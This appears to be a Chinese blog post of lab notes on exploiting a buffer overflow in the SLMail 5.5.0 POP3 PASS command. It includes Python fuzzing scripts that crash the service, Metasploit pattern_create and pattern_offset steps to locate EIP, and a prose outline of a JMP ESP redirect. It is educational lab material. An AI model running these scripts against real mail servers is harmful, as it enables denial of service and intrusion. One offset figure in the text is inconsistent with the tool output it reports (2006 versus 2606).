【渗透测试笔记】之【缓冲区溢出】

程序漏洞从哪里来?

  • 罪恶的根源:变量
  • 数据与代码边界不清
  • 最简漏洞原理——shell脚本漏洞

缓冲区溢出

  • 缓冲区是内存的一个片段
  • 当缓冲区边界不严格时,由于变量传入畸形数据或程序,导致缓冲区撑破,从而覆盖了相邻内存数据
  • 可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权等后果

如何发现?

  • 代码审计
  • 逆向工程
  • 模糊测试
  1. 向程序堆栈半随机的数据、根据内存变化判断溢出
  2. 数据生成器:生成随机、半随机数据
  3. 测试工具:识别溢出漏洞

对SLMail 5.5.0 Mail Sever POP3服务的缓冲区溢出实验

实验环境准备

靶机:WindowsXP
攻击机:Kali

实验工具:

  • SLMail 5.5.0 Mail Sever(pop3输入PASS的时候存在缓冲区溢出漏洞)
  • OllyDbg(动态调试工具)

1.安装SLMail 5.5.0 Mail Sever

下载地址:https://slmail.software.informer.com/download/
打开安装程序后依次点击:

Next->Next->Next->(记住IP地址)Next->(选择刚刚的IP地址)Next->Next->(输入一个域名,如:test.com)Next->(DNS输入192.168.1.1)Next->(NO)Next->Next->Next->Next->(点击Modify,点击Administrator)Next->Next->Next->Next->Next->(勾选Allow NT User Import)Next->下一步->(点击主机名)下一步->(将Administrator和主机名add到右边)下一步->下一步(No)->完成->Finish

查看服务是否启动:
在这里插入图片描述
输入services.msc查看服务:
在这里插入图片描述
关闭防火墙,否则不能连接pop3服务(开启对应端口也行)。
在这里插入图片描述

实验过程

确认靶机pop3服务正常连接

使用nc连接靶机的110端口,并任意测试USER test,PASS test,发现不能登录,说明靶机POP3服务已经可以使用。
在这里插入图片描述

模糊测试

使用python脚本进行模糊测试,测试变量PASS 接受大量数据时时候会溢出。
首先在靶机打开OllyDbg,Attach SLmail进程:
在这里插入图片描述
在这里插入图片描述
点击run,让程序正常运行:
在这里插入图片描述
注意此时的EIP寄存器为:7C92120F,这是ASCII码的十六进制。(因为EIP寄存器的值代表着计算机要执行的下一步指令的内存地址,所以最终目的是要让字符溢出到EIP寄存器,并且知道这4个字节在溢出字符中的位置。)

在这里插入图片描述
为了方便测试,用Python写一个模糊测试脚本。
fuzzy1.py:

#!/usr/bin/python3
#coding=UTF-8
import socket

buffer=["A"]
counter=100
while len(buffer) <= 50:
    buffer.append("A"*counter)
    counter=counter+200

for string in buffer:
    print("Fuzzing PASS with %s bytes" % len(string))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.2.104',110))
    s.recv(1024)
    send='USER test\r\n'.encode('utf-8')
    s.send(send)
    s.recv(1024)
    send='PASS ' + string + '\r\n'
    s.send(send.encode('utf-8'))
    s.send('QUIT\r\n'.encode('utf-8'))
    s.close()

给脚本添加可执行权限并运行,开始对靶机进行模糊测试:
在这里插入图片描述
可以看见当密码达到2900个字节的时候卡住了,此时回到靶机上面的DO,发现EIP寄存器已经被填充为了41414141,这里的41即为字母A的ASCII码的是十六进制。所以此时已经发生了缓冲区溢出,且溢出字符小于2900bytes。
在这里插入图片描述

精确寻找溢出位置

此时靶机的pop3服务已经崩溃了,services.msc找到pop3服务右键重新j将其启动,利用OllyDbg再次Attach SLmail,并运行。

在攻击机上生成一个长度为2900字节的唯一字符串,这样再次发生溢出的时候,查看EIP被占用的字符串即可精确定位溢出字符的位置。

  • 生成长度为2900字节的唯一字符串方式(利用MSF的工具):
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 2900

在这里插入图片描述
利用fuzzy2.py脚本将唯一字符串发送给靶机:
在这里插入图片描述
fuzzy2.py:

#!/usr/bin/python3
#coding=UTF-8
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 唯一字符串
string="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds"  
try:
    print ("\nSending evil string...")
    s.connect(('192.168.2.104',110))
    s.recv(1024)
    send='USER test\r\n'.encode('utf-8')
    s.send(send)
    s.recv(1024)
    send='PASS ' + string + '\r\n'
    s.send(send.encode('utf-8'))
    print ("\nDone!")
except:
    print ("Could not connect to POP3!")

此时回到靶机,可以发现EIP寄存器被填入了的四个ASC编码:39694438
在这里插入图片描述

利用MSF工具定位这四个字符的位置:

cd /usr/share/metasploit-framework/tools/exploit
./pattern_offset.rb -q 39694438

在这里插入图片描述
显示结果为2606,表示这个字符串之前有2006个字符,所以溢出的字符是从第2607个字节开始的,即2607、2608、2609和2610。

计算ESP可存放shellcode的内存空间

右键ESP的内存地址,点击Follow in Dump:
在这里插入图片描述
可以看到存放了唯一字符串的ESP地址,定位最后四个字符,并记下其对应十六进制数:73354473。将其倒序(存在存读机制):73443573
在这里插入图片描述

利用MSF工具定位这四个字符的位置:

cd /usr/share/metasploit-framework/tools/exploit
./pattern_offset.rb -q 73443573

在这里插入图片描述
发现其之前有2896个字节,加上最后4个字节,再除去EBP和EIP所占的2610个字节,那么ESP的可利用内存有290个字节。

找出了ESP的可利用空间,那么这些空间可以用于存放ShellCode。注意,一些字符不能存入内存。 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,坏字符通常会截断后面的字符。如:

  • null byte(0x00)空字符,用于终止字符串拷贝的操作
  • return (0x0D)回车操作,表示POP3 PASS命令输入完成

解决方法:发送0x00-0xff共256个字符,逐个删除截断了后面的字符,从而判断哪些字符不可用。

后续思路

由于计算机每次开机ESP 的地址都不一样,所以无法通过将EIP 的内容改为ESP的地址从而执行ShellCode。

采取的方法是在内存中寻找一个内存地址固定不变的系统模块,然后在此模块中寻找一个JMP ESP 即跳向ESP的指令的地址(并且此内存地址无DEP,ALSR内存保护机制)。

将EIP的地址指向上述地址。

从而可以达到每次开机EIP 都会间接跳转到ESP 上执行ShellCode。

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值